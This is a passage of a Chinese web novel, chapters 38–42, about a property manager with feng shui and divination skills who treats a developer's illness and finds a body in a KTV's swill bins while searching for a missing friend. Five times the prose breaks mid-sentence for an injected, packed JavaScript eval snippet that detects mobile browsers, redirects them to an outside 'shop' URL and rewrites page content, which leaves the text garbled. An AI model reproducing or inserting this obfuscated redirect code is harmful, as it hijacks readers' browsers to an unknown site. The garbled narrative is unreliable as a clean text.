“没错，老冯开了一间商k，就叫名都ktv。”王姐认证了我的说法。 我看看王敬之，王敬之瞅瞅我，冥冥中自有安排。 这个冯哥叫冯楠，60多岁，个子不高，但是很瘦，一张脸惨白惨白的，显得眼睛尤其大。 王姐给我们双方做了引荐，冯楠很客气的招呼我们坐下，如果不是来之前知道他有病，倒是看不出来，只是会感觉这个人身体很虚。 “想不到，向荣兄弟这么年轻啊，真是年轻有为、后生可畏啊！”冯楠开始恭维我。 “您太客气了，我只是帮了王姐一个小忙而已。”我很平静的看着冯楠。 冯楠有点拘谨，有话不好意思开口的样子，我想了想，既然来都来了，该化解的迟早要化解，于是先打破了沉默。 “冯老大今天找我们来是有什么事吗？” 冯楠像是得到了赦令，开口说道：“今天在座的都不是外人，我也就有啥说啥了。荟萃亭这块地，是我跟其他四个兄弟一起开发的，起初这片地是城郊的垃圾场。我们兄弟五人，当时意见并不统一。我和老四不主张开发，因为我们觉得如果不能很好的处理原来的气场，势必影响以后的居住环境。但是大哥、二哥，还有老五都主张开发，少数服从多数，也就干了。” 冯楠喝了一口水，接着说：“因为是垃圾场，所以拿地的价格相对低。我们几个当时都缺钱，都想着指望这个赚点钱，尤其那时候大哥还有外债，所以我们就加快了建设速度，该有的很多套工序都省略了。后来出现反污水的情况，我和老四极力主张找风水先生来看看再定夺，但是老大一意孤行，他占的份额最多，我们只能跟着。” 说到这冯楠停下了，双手搓着脸，眼睛开始泛泪光。 我瞅瞅王姐，用口型问，“什么情况？” 王姐开口说：“向荣弟弟，我就是老四的爱人，冯哥是我们三哥。后来我爱人在打地基的时候，踩空掉落，摔死了呜！” 我讶然，王敬之也愣了。 这时候冯楠说：“事情发生以后，我跟老大老二闹翻了，怪他们不听劝阻、一意孤行，但是他们说我封建迷信，不是同路人。老五作为中间派，谁也不得罪。” “那您住这里是因为，也是顶账房？”我插嘴问。 “对，我在这园区里有三套房，其中一套就是老谢家那套，他们也是顶账的，我欠他们钱，还了套房子给他们，没成想还出了这么惨的一件事。”冯楠回。 王姐擦擦眼泪说：“我们家的房子也是顶的，老四走了以后，大哥和二哥给我拿了一笔钱，嘱咐我以后有什么事就去找他们。可是，老四都没了，感情也就越来越淡了。” 我在心里盘算着，这几家的房子都有凶案、患病，这是果报的节奏啊！ “这几套房子你也都看到了，都有问题。尤其我，现在是求生不能求死不得，弟妹应该和你们说了，我会突发性的晕倒，醒了之后，之前发生过什么我都不知道，就跟死过去了一样。这几年还一直茶饭不思，吃什么都不香，多梦，有时候甚至失眠，一连好几天都不能入睡。我以前170斤，现在只有130斤。” 我听完冯楠的叙述，仔仔细细的打量他，“冯老大，我给你把把脉。” 冯楠很顺从的把手伸过来，右脉越来越弱、又大又软，左脉下沉、沉弦。我又看了他的舌苔，舌质淡，略显水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158105|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑。 奇怪，明明是眩晕症的脉象，为什么医院检查不出呢？ 我缓了缓，又再次切脉：脉浮而不燥，阴盛阳衰，阴不能固阳，阳向上冲。因为阳要散掉了，就常会晕倒、醒来就好，其实就是阳不守！ “冯老大，给我拿个纸笔，我给你写个药方，你按照我说的去熬药喝。每一剂喝完，再找我切脉，调药。” 冯楠不可置信的看着我，王姐直接问了出来：“向荣弟弟，你还会看病？” “他看病才是第一厉害的。”王敬之替我正了名。 “我就是略懂、略懂，这不是因为我赶上了嘛，能看就给看看。我本职就是一物业经理，你们可别误会。”我还是想低调。 冯老大激动不已，赶忙告诉佣人去拿纸笔。 这时候一个小姑娘急急忙忙的跑出来，“敬之哥哥，你真的来啦，太巧了是不是，我就说我们有缘分。” 果然就是冯晶晶，大白天看见她，才得以看到全貌，确实就是青涩的一个小姑娘。 眉眼的神韵跟王敬之联相，而且她的右眼下边、接近颧骨的位置，有一颗很明显的泪痣。 “爸爸，这就是我和你说的风水帅哥。”冯晶晶跟冯楠的父女关系明显很好。 “哦？你们就是去名都ktv认识小女的风水先生啊，世界真的太小了。”冯楠感慨。 王敬之微笑的看着冯晶晶，一直没说话，我知道他是在看冯晶晶的那颗泪痣，他知道了他的劫数就在眼前。 “冯老大，这副汤药你先喝，不过，现在这荟萃亭的自然环境，是不利于你病情的完全治愈的。”我想着也许能借助冯楠实施荟萃亭环境的修复问题。 冯楠立刻来了兴致，“向荣小兄弟，愿闻其详，你和我说说，我能做到的改善，马上就去做。”王姐也点头附和，能补救当初不负责任的开发行为，绝对是好事一件。 我起身跟着冯楠参观起了别墅。 第三十八章 植树补基 冯楠家的别墅是二层独栋，一楼客房、卫生间、客厅和厨房，二楼是卧室、书房、卫生间，上楼梯后正对着有一处小的宴客厅。 格局还算方正，四角也都全，但是二楼的卫生间设在走廊尽头，还有卧室床头挂了一副巨大的山水画框。 “冯大哥，浴厕建在走廊尽头乃大凶之位，这个要改；卧室床头挂的画框也要更换，那里最忌挂厚重的巨框大画；另外书房的书桌上方有一处很明显的横梁，那个位置要设计天花板，将之挡住，否则会影响你的情绪和健康，事业运也会受阻。” 冯楠一边听一边点头，用心在记。 转了一圈回到楼下，我看看厨房的位置和型设，“厨房是用不规则屋建造的吧？不规则不可做厨房，会影响家人健康，这里也需要改。” “向荣小兄弟，没想到我这屋里这么多不合适的设计，能有机会邀请你过来，可真的是我三生有幸啊！”冯楠表示着感谢。 参观完别墅坐下之后，我觉得该切入重头戏了，“冯大哥，关于这园区大风水的修复，不知你是否能做主？” “当然能，你放心，只要你说的，我一定推进下去！这事关系到我们整个小区全部入住的业主，也关系到日后剩余楼盘的销售，老大老二应该拎得清。”冯楠很笃定。 “对，向荣弟弟，你尽管出招，我和三哥去协商，一定成！”王姐也跟着打保票。 “好，那我就和你们说一下修复的办法。”我把自己早就策划好的方案做了介绍： 这个位置原址是垃圾场，地气不佳，地气不佳却未进行合理的迁移和填补，又出现命案，形成地煞，导致方圆几公里的磁场都不好。 我和师哥化解了地煞之后，这片区域的地气需要做修复，等慢慢恢复了，才会变好。 首先必须改善环境，定期清理并妥善处理垃圾，在场地周围广种树木，树木的种植可起到挡风聚气的功效，还能保养水土，维护小环境的生态，这叫“植树补基”。 其次要注意避免将生活垃圾的收集位置设置在气场不流通或容易积聚污秽之气的地方。 最后就是要在园区内建设一些小型的水景或绿化带，通过水的流动和植物的生长来为场地增添生机。 或者设置一些休闲设施或活动区域，吸引业户前来活动和交流，增加场地活力和人气。 我看着安静聆听的冯楠和王姐，顿时感觉自己是在做一件利好几代的事情。 “室外大概就是这些。至于室内的话，你们可以摆放绿色植物，吸收负面气场；或者在阳台上放置一些金属物品，增加阳光照射。” 冯楠频频点头称是，然后又说：“这些建设不难的，没有多少费用。” 我看看冯楠，然后和他说：“冯大哥，上面这些事情你做完，再按时服用我的汤药，假以时日，定能根治。” “向荣小兄弟，真的是太感谢你了！我今天就去安排这些事情。”冯楠激动的站起来。 “李婶，你去书房把我那盒雪山虫草拿过来，我要赠与向荣兄弟，表示感谢！”冯楠招呼佣人，要给我送礼物。 “冯大哥，不用，真的不用！”我拦住他。 “只要你按照我的说法把这里的负能量化解了，那就是我的功德一件，比什么虫草都要好。此外，如果你真的想感谢我，那我想拜托您一件事。”我看向冯楠，表示意愿。 “没问题，只要我能办到的，我一定帮你。”冯楠急切的想知道。 “我有个哥哥，叫刘才东，在荟萃亭当保安经理，跟着老谢家的案子一起失踪了。实不相瞒，我卜算过很多次他的方位，显示就在您的名都ktv那里，不知道您是否见过他？” 其实说这话的时候，我依然怀疑冯楠有可能参与了刘才东的案子，虽然他在自己讲的故事里是正直无辜的，但是那毕竟是他的一面之词。 在有怀疑的前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158106|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提下，我还选择把这事说出来，就是要验证一下冯楠到底有没有参与。 冯楠听我说完以后，没有一丝一毫的犹豫，直接就拿起手里的手机拨通了一个号码。 “喂，德生，你把最近一年的监控备份准备好，我会带两个朋友过去看。什么？统计？不用统计，我需要原始的，这件事务必做好，没有商量余地。”冯楠说完就挂掉电话。 要找一个人是否在那里出现过，看监控确实是最好的选择，我对冯楠的反应和安排很满意，对他的怀疑也有了减轻。 “向荣小兄弟，你来之前，我弟妹就和我说了这件事，刘才东我认识，很不错的一个人，但是他跟我没什么交集，据我了解他也不去这种声色犬马的场所，你的卜算结果，我很意外。”冯楠很诚实的说出了自己的想法。 “冯大哥，我这个奇门遁甲功夫基本没有失手过，我昨天和我师哥去那里也是为了查找线索。现在您能亲自帮忙，我很感谢！”在明白人面前，我也选择不装糊涂。 这时候王姐说话了，“三哥，许德生之前跟刘才东好像有过往来啊，我记得有一回两个人还在园区门口发生了口角。” 许德生？这个人是谁？ “哦，对对，是有这么回事，德生当时态度 不好，还打了刘才东一个嘴巴，回来被我狠狠的罚了一顿。” 冯楠看看我，忽然明白过来，“哦，对，向荣不知道德生是谁。许德生是我的保镖，一直替我看着商k的场子。” 保镖？我脑海里立刻出现了矮囤矬。 “他俩闹不愉快，后来都和解了，不应该和德生有关系，老谢家出事那个月，德生被我派到s市处理事情，去了一个月才回来的。”冯楠又抛出一条信息。 我没有再表态，准备先看看监控再说。 这时候冯晶晶又从楼上下来了，大声喊着：“敬之哥哥，留下来吃饭呗，李阿姨做的菜可好吃了。” 第三十九章 后院的泔水桶 我看看王敬之，看不出他想不想留下，这时候冯楠赶紧跟上说：“是啊，留下来吃个便饭再走，不要拒绝我们，这是我们的一点心意。” “向荣兄弟这次不仅仅是在帮我，是在帮整个荟萃亭的全部业主啊！功德一件、功德一件！” 冯楠兴高采烈的搓着手，将药方工工整整的叠好，放进了上衣口袋。 “好，吕向荣，恭敬不如从命，我们俩也没什么重要事，吃完饭再回去吧。” 师哥开尊口了，我怎敢不从，于是我就看到他和冯晶晶眉眼放电，我勒个去。 整个吃饭的过程冯楠都在和我寒暄，王姐时不时的插一句，王敬之则是陪着冯晶晶说话，两个人天南海北的。 没成想，王敬之没念过多少书，但是却能接住大学生冯晶晶的梗，冯楠看着相谈甚欢的两个人，眼里有些许不悦。 我看在眼里，急在心里，这老丈人不同意，后续的事难成啊！ 想了想我准备夸夸王敬之，让冯楠知道知道王敬之也不是白给的。 “冯大哥，你知道我刚刚说这些问题都是怎么发现的吗？”我抛出问题。 冯楠立刻很感兴趣的问我：“怎么发现的？” 我指了指王敬之，“多亏我师哥，跟着我一起来勘验的，他跟我同属于一个师傅，学习的时候比我学的精、学得好，但是他为人内向，不像我，总是善于表现。” 冯楠立刻感兴趣了，上下打量着王敬之，说：“没想到、没想到，你们二人小小年纪都这么有本事，我一下子认识两个，真是我的福气啊！” “可不咋的，年轻有为，而且我第一眼看到他俩的时候，就有一种亲切感，总觉得似曾相识似的。”王姐也跟着说。 这时候冯晶晶说：“爸爸，敬之哥哥长得跟我舅舅一样，你没看出来么？” 冯楠再次打量起王敬之，然后频频点头，“像、像，太像了！” 我的好奇心又忍不住了，直接就问：“您女儿的舅舅是，哪一位啊？” “是我爱人的弟弟，最小的弟弟，跟我女儿就差八岁，那一年我开发荟萃亭的时候，他来帮忙，跟着拉铲土的车清运，结果出了车祸”冯楠叹了口气。 我瞅瞅王敬之，王敬之也看着我，我心里想着，这荟萃亭可太邪门了！ “有多像啊？有没有照片，我看看。”我的孩子劲儿又来了，急于求证。 冯晶晶早就耐不住了，在手机里扒拉出一张照片递给我看。 看到照片的一瞬间，我感叹起了基因的力量，可是不对呀，王敬之跟他们有什么基因呀，能这么像？ 王敬之也接过照片看了看，眉眼间闪烁着惊奇，但是没有说话。 我们从冯楠家告辞出来以后，王敬之数落我：“吕向荣，你说你是不是不把我拉下水你不甘心？你总把我往前面推，你到底要干啥，你说说。” “师哥，我不寻思给你在你未来老丈人面前争争口袋嘛，省的人家财大气粗的瞧不起咱。”我实话实说。 “你可拉倒吧，什么老丈人，我根本就不喜欢冯晶晶，我对她就像对小妹妹一样。” “师哥，你可别跟我装，不是你自己说的吗？要过情劫。” “过情劫就是结婚吗？过情劫是破情执，了了之前未了的心愿，还了欠的债。”王敬之说。 “师哥，这不挺好吗，结婚不结婚的，你要过劫，你都得人家对你印象好才行啊，印象不好你咋接近人家姑娘？”我不服。 “你给我一边去吧，老自作主张，以后不许这样！”王敬之还有点恼。 我嘟囔着，真是好心没有好报。 冯楠给我安排好查看监控的事，我一个人去了名都ktv，没有带王敬之。 我很笃定问题就在名都ktv，所以我必须去仔细探探。 走的时候王敬之嘱咐我，千万不要和矮囤矬起冲突，否则以后想搞清楚真相就难了。 他们给我看的监控确实是原始版的，名都ktv很大，监控点位很多。 因为常年干物业的原因，我对监控比较了解，能够迅速的判断有可能有迹象的点位。 连续去了三天，看完了全部的监控，就发现了一个刘才东陪老谢家女业主谢敏过来的片段。 谢敏来了以后去了哪里没看到，刘才东没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158107|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来，一直在大门口等。 “我想看一看谢敏进来以后的监控。”我跟监控室的保安说。 “这不行，德生哥没准许，不能随便给你看。”保安直接拒绝了我。 “我想直接和你们德生哥说说。”我商量保安给我联系。 保安想了想，也没办法，就把电话打给了许德生，对方示意把电话给我。 “你好，我是吕向荣，我想看一下谢敏进来名都ktv之后的监控。”我直接提出请求。 “你想？你以为你谁呀？不行！店内的监控谁也不许看！”许德生毫无礼貌的直接拒绝了我。 “是冯楠大哥答应我来看监控的，我要找我哥刘才东的线索。”我也没怕。 “找你哥刘才东就看你哥，你看谢敏干什么？这和你有什么关系？”许德生咄咄逼人。 是啊，我 这个请求确实不严谨，看来，还得告诉林翔出马。 出了名都ktv的门，我想到后院看看。 名都ktv的后院别有一番洞天，也是一大片垃圾站，说是垃圾场小了点。 但却是一个垃圾集中站，附近的垃圾都集中到这里统一运出。 我四下打量着，随手捡了一根废弃的墩布杆子，边走边蹚路，看不见的可疑位置，就用木杆子扒拉扒拉。 走走停停的，就看到不远处有一大片大泔水桶，说它是一大片是因为有很多，而且分部不均匀，看上去到处都有。 我走到铁桶区域，一股子馊臭味直冲脑门。 这些桶有的有盖子，有的没有盖子，没有盖子的能看到里面都是一些生活垃圾、酒瓶子，还有不知是什么的脏水。 我有点反胃，但是强烈的直觉告诉我，问题就在这里，没办法，我只能继续看。 有一处角落的暗红色吸引了我，我赶忙走过去看，是一只死了的狗子，身上已经开始腐烂，那些苍蝇感觉到有人走过来，嗡的一下四下乱飞。 我厌恶的用手在空中扇着，好奇怎么这里的垃圾不及时清运呢，没人管？ 正当我想往回撤的时候，身边有一只桶吸引了我的注意。 第四十章 千丝万缕 别的桶大部分都是没有盖子的，这只桶是罕有的几只有盖子的其中之一，而且稍微新一些，上面还有斑驳的红色。 视觉上桶很沉，看着不像装的是液体，是什么呢？我用墩布杆子怼了怼，纹丝不动。 看着盖子盖的并不严丝合缝，我想打开看一看，谁知道轻轻一拧就开了，里面是没有压下去的人手，是个人被折叠起来塞在里面。 我吃惊不小，不管是不是刘才东，发现死人一定是要报警的，我忍住被尸臭熏的干呕，拨通报警电话。 警察来的很快，还是林翔带队，他一见到我就吵吵：“好你个吕向荣啊，你怎么走到哪里哪里出事呢！还都是人命案。” “林警官，看您这话说的，整的我好像是催命符一样。这个可不关我事，我是为了找线索过来的。” “线索？什么线索？”林翔好奇的问我。 “这么快就忘了吗？你不是同意我帮你们找尸体了吗？”我提醒他。 林翔恍然大悟的拍拍脑门，用手指点了点我，转身去了法医那里。 我赶紧找了一处有新鲜空气的位置，大口的喘着气，这些腐败恶臭，真的要把我熏迷糊了。 现场勘验完毕以后，我跟着林翔一起回到刑警队做笔录。 一切程序都走完以后，林翔过来找我，笑眯眯的看着我说：“我说你小子行啊，真是一枚福将，以后不要管我叫林警官，叫我老林或者直接叫我名字都行。” 我看着林翔突然转好的态度和急切的拉近距离，有些懵。 林翔看着我愣愣的样子，哈哈大笑说：“你发现的尸体是赵明，我们找了一年都没找到的人，被你给找到了。” 我的心里有一点失落，刘才东哥哥，你到底在哪啊？ “怎么了？不是刘才东，有点失落？”林翔的眼光很犀利。 “是的，确实失落，我这哥哥命苦，死了还找不见尸体，不能入土为安，唉！” 林翔看着动容的我，也沉默了，他应该是没想到，刘才东和我仅仅相处两年的关系，我会这么的重情重义。 他拍拍我的肩膀，示意我坐下说，“向荣，这个事别愁，既然有了赵明，刘才东出现也很快，这次的事情你立了功，继续努力，争取再帮我们找到另一个。” 我看看林翔质朴的神情，对这个人民警察又多了一份敬意。 “赵明怎么死的？”我问。 “被人勒死的，然后塞到了桶里，凶手很凶残，而且把尸体扔在那样的地方，说明他对附近的环境把握很大。”林翔回。 “老林，我去名都ktv查过监控，刘才东确实陪谢敏去过，但是他没进去，只有谢敏自己进去了，我本来想看看谢敏进去后的监控，但是他们说我没有查看权限。现在，赵明的尸体就发现在后院，我觉得你可以去看看谢敏进去干了什么。” 林翔听完我的话很诧异，“你去看监控？你去看他们就让看了？” 于是我把认识冯楠，给他治病，整治荟萃亭的事情大致的和林翔说了一遍。 林翔更加的激动，看着我的眼神亮亮的，“我说吕向荣啊，你可是我捡的一块宝！对了，你知道王宁家发现的那具尸体是咋回事不？” “不知道，没人和我说过。”我老实回答。 “是具女尸，年龄大概有30多岁，死亡时间得有六年多了，根据推算应该是在荟萃亭开发的那个时间。死亡原因比较惨，生前应该是被殴打过，多根肋骨骨折，腿骨骨折，一刀割喉致死。”林翔描述着。 我越听心越寒，对杀人凶手痛恨至极，那可是一条活生生的人命啊！ “林警官，你跟我说这些的意思是？” “我是觉得荟萃亭发生的这些事情都很诡异，这具女尸、老谢家灭门，总感觉跟荟萃亭开发有千丝万缕的联系，现在和你说出来，希望能在你找刘才东的事情上有所帮助。” “林警官，这么说你相信我说的刘才东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158108|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是凶手了？”我还是没忘记问他这个问题。 林翔看了看我，突然就严肃起来，“一天没找到证据证明他不是，他就一直有嫌疑。我和你说过的，警察断案看证据的，不能感情用事。” 看着他严肃的样子，我笑了，“老林，你看你，又着急了不是。怎么样？第二副药喝着有没有什么不好的反应？” 林翔看我幽默的化解尴尬，自己也笑了，说：“你现在应该基本了解整件事的来龙去脉了，谈谈你的看法。” 我想了想说：“有五个人，在垃圾场开发了一个楼盘，因为急于变现，该做的整治工作都没有做就开工了。开工前，据我所知死了三个人。” “三个？”林翔打断我。 “对，分别是王宁的老公，失足摔死，王宁家发现的女尸，被人谋杀，还有冯楠的小舅子，车祸。” 林翔瞪大了眼睛，更加迷惑，陷入思考。 “开工后到别墅建设起来，一直都是不温不火，甚至销售量根本就不好。入住率低，偶有的几户，还都是顶账房。后续又发生了老谢家惨案、刘才东失踪。” 林翔听完我井井有条的捋顺和讲述，赞许的看着我，然后沉重的说：“向荣，这 个案子不好办，现在搞不懂凶手的动机。还有死的这些人，各不相同的死亡，车祸、摔死，这些并没有证据表明是谋杀啊！” 我也点头，“我知道，我只是把知道的说出来，看看哪里有疑点、哪里有问题。” 我们俩一起静默下来，各自想着心事，过了好一会，我起身跟他告辞，告诉他有事再联络。 回到物业办公室，刚进屋还没来得及喝口水，李壮又风风火火的进来找我。 “经理，出了件事，有点玄，你看咱们整得了么？” 我看着他欲言又止的样子，又来了脾气，“你小子，我和你说过好几次了，一个大老爷们，说话办事干脆一点，工作的事，不要这么吞吞吐吐的，好不好！” 第四十一章 诡异的电梯 事情经过是这样的，锦源小区有两栋高端配置的单元，售卖价格比另外几栋高，所在位置在园区最里面，私密性更强。 这两栋的电梯设计是一梯两户式，电梯两侧开门，待电梯上行到自己所在的楼层，只要掏出磁卡在电梯的感应区上一刷，对着自己家方向的电梯门就会打开，直接入户，非常方便。 住在16楼的业主孙俊明，独居，工作是程序员，经常加班到很晚才回家。 一周前下班回来，电梯上行到16楼后，他像往常一样掏出磁卡在感应区刷了一下，正准备迈向自家门口，却听“唰”的一声，背后邻居家的电梯门打开了。 他以为电梯出了故障，反复试了几次卡，但都刷不开朝向自己家的电梯门，邻居家的电梯门倒是反复开了好几次。 又累又饿的，他就下了楼给物业打电话。 李壮是吃住在物业的，24小时都在保安室，接了电话后一看时间，工程部的人早就下班了，就和他保证明天白天物业一定安排人去修理。 “业主，抱歉哈，这个时间工程部的师傅下班了，我们承诺明天一定把电梯修好。今天就得辛苦您走楼梯到您家那边了。” 在李壮诚恳的解释和保证维修下，孙俊明知道也确实没其他办法，就走了楼梯。 第二天白天李壮就告诉工程部的师傅去维修了，奇怪的是工程部的师傅回来说，没有任何问题，但也给做了维保。 李壮就给孙俊明打了电话，告诉他电梯已经修好了，没有问题。 孙俊明知道以后挺心安，知道这个物业挺管事儿的，小区一向治理的很好，当天晚上又是加班到很晚才回家。 但是郁闷的事情再一次重演，对着自己家的电梯门打不开、打开的仍旧是那扇冲着邻居家入户门的电梯门。 不管他刷多少次卡，想打开的门岿然不动，不想打开的门大敞四开。 他冷静下来想，如果说我的磁卡能刷开邻居的门，是不是邻居的磁卡也能刷开我的门？ 虽然时间有点晚，但是能借一下邻居的卡刷开自己的电梯门，就可以赶紧回家休息。 所以孙俊明来到邻居家入户门门口的门厅，门厅里很杂乱，有鞋子、各种闲置物品，还有一些烂了的蔬菜和水果。 孙俊明正想着这家邻居真邋遢，背后的电梯门关上了，自己被关进了邻居家的门厅里。 他开始敲门，敲了几下没有反应就继续敲，还是没反应，想着可能是夜深了人家已经睡了，就用力敲了几下，还是没动静。 几番折腾，孙俊明累坏了，也没有动力再尝试了，决定还是爬楼回家。 诡异的事发生了，回到电梯内部的电梯门却怎么也打不开了，他被关在邻居家门口的门厅里。 不管他如何刷卡如何按键，电梯门就是不开，再回头敲门，邻居也还是不应，他想到莫不是邻居根本就不在家？自己岂不是一直得被关到邻居回来？ 他又给物业打电话，“我说你们怎么回事呀？这就是你们修好的电梯吗？” 李壮刚要睡着，还有点懵，“您、您慢点说，您是谁？怎么了？” 孙俊明自报家门后，一直在电话里嚷着要投诉，告诉物业赶紧过来救他走。 李壮吓得觉也不敢睡了，穿上衣服连跑带颠的就来到孙俊明所在的单元。 奇怪的是，李壮一上来就轻松地打开了电梯门，李壮看着邻居家门上粘贴的各种费用的催缴单子，陷入了迷惑。 这家人好像已经很长时间没露面了，物业费和取暖费都拖欠了，人也联系不上。 李壮把怒火中烧的孙俊明给安抚好，送回了家，一直觉得对门邻居有问题，等着盼着我回来解决。 我听完全部经过，也觉得有些蹊跷，“对门的业主什么情况？你把业主档案给我拿来看看。” 李壮递给我档案，然后说：“我核实过档案了，就是一个老大娘，独居，60岁左右。” 我心里立刻有点慌，莫不是出什么事了吧？ 我赶紧给林翔打电话：“老林，我这里出了点问题，我怀疑有事，你们过来看看吧。” 林翔在电话里笑着说：“吕向荣，你这是离不开我了，刚分手就又来事儿。” 大约过了一个小时左右，林翔到了我办公室，“怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158109|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着？吕经理，有啥大事发生了，非要让我来？” 我把事情经过讲了一遍，然后说：“我看咱们得破门而入啊，大娘岁数大了，一个人住，恐怕是有情况了，不能再等了。” 林翔意识到问题的严重性，跟一起来的警察交代了几句，十几分钟吧，就来了个开锁的，看见林翔就点头问好，我一看，还是警察有招。 当我们打开门，屋里传出一股子尸臭，就跟泔水桶里那味道一模一样。 我一拍大腿，“坏了！出人命了。” 林翔也皱起眉头，喝令无关人等都在外面等着，打电话叫了法医和痕检的人来。 我朝屋里瞅了一眼，尸体已经腐烂得看不清模样了，地上有蛆虫在爬屋里的味道几乎把门外的人熏吐。 法医忙活了半天，过来跟林翔说：“死者是心肌梗塞死亡，不是谋杀。因 为是独居，没人帮着联系医院，错过了抢救时间。” 我看着被尸袋抬出去的尸体，心里不好受，业主档案上，这大娘是有个女儿的，这孩子怎么回事？自己妈这么长时间没消息也不知道问问，现在的儿女真的太不知道关心父母了。 回到物业办公室我就开始找大娘女儿的电话，我一定要问问她为什么要这么对自己的娘。 结果找到电话号码发现，还是一个国外的号，愁人。 我一看地点，跟我们这里有时差，只能晚上的时候再打。 这时候李壮说：“经理，现在这些孩子是不是比我们小时候差远了。爹妈给养这么大，还送出了国，就彻底不管不顾了，就能放心自己妈一个人生活？” 我看看他，他说的也是我想说的，但是我能理解，出国奋斗的人都是挺拼的。 “谁知道呢，也许是她自己也没想到过这一层吧。也许她还想着来日方长，想着等攒够了钱再接自己妈妈过去呗。” “经理，你太善良，有事了都是往好里想，可是现在很多人并不善良，我看她啊，就是被资本主义腐蚀了，忘记她妈了，哪怕打一个电话都能发现的事情。” 李壮气呼呼的回自己工位了，我的心情也被搞的很差。 第四十二章 不孝之女 终于等到了晚上，我迫不及待的拨通了死者女儿的电话。 “喂，您好！我是锦源小区物业经理吕向荣，您是田红大娘的女儿廖依依吧？” “hello，it’s 。”廖依依竟然跟我“玩鹰”。 “廖女士，不好意思，我是退伍军人，对英语了解的少，您还是和我说中文吧。” “啥事儿？说！” 我听着廖依依一副不耐烦又不礼貌的语气，强压怒火，说：“你妈妈去世了。” 对方半天没反应，我以为电话断线了，拿到眼前看了看，还是通话中。 “廖女士？你还在听吗？”我又问了一遍。 “我妈啥时候去世的？”廖依依依旧没有任何情绪的问。 “法医鉴定她的死亡时间在一个月以上。是我们这边电梯有故障，发现门上有好多催缴单据，回忆一下有好久没看到她出门了，所以报警处理、然后发现的。”我依旧很悲伤。 “行，我知道了，先这样吧，我这边还有事。”没等我说完话，廖依依的电话就挂了。 我觉得怒火中烧，火气上涌，真的太不像话了！这什么孩子，自己妈去世了，也不说啥时候回来、也不关心、也没有任何情绪波动，难道不是亲生的？ 我气的在屋里走来走去，王敬之从外面走进来，看我气鼓鼓的样子问我：“谁招我们吕大经理了？脸气的跟个包子似的。” “师哥，你说现在这拨孩子怎么这么不懂事呢！自己妈死在屋里一个多月自己都不知道，我告诉她了吧，她还轻描淡写的不当回事，你说气不气人！”我急需发泄。 “气人！不孝是最大的罪过，夫天地至慈，唯不孝大逆，天地不赦。？”王敬之感慨。 “师哥，你还行不行，廖依依跟我玩英，你跟我玩古文，我都气的不行了，咱能不能好好说话？” “你啊，多念点书不就没这事了吗？这你都听不懂吗？不孝是大逆不道，要受惩罚的！” 王敬之想了想又话锋一转，“不过啊，这件事有违常理，你也不要武断。你说说咱们哪个人不和自己妈亲啊？尤其对方还是个姑娘，这里面指不定有啥过节，你也不用太生气。” 王敬之说的有道理，但是我一个物业经理，该通知的也通知到了，也没权力管那么多。 算啦，还是继续找我哥哥刘才东要紧。 可是过了没几天，就接到了林翔的电话：“向荣，你们园区那个独居的大娘，咱们程序都走完了，让家属来领走吧，该火化火化。” “老林，这事你们警察通知不就得了，还非得我们物业出马啊？”我不愿意再跟那个不孝孩子联系。 “我们联系了，但是对方不是不接电话，就是说没工夫回来，只好安排你们物业做工作了。人家老太太要是没出事，也不能欠你们物业费，帮忙的事情，不要老看钱儿。” 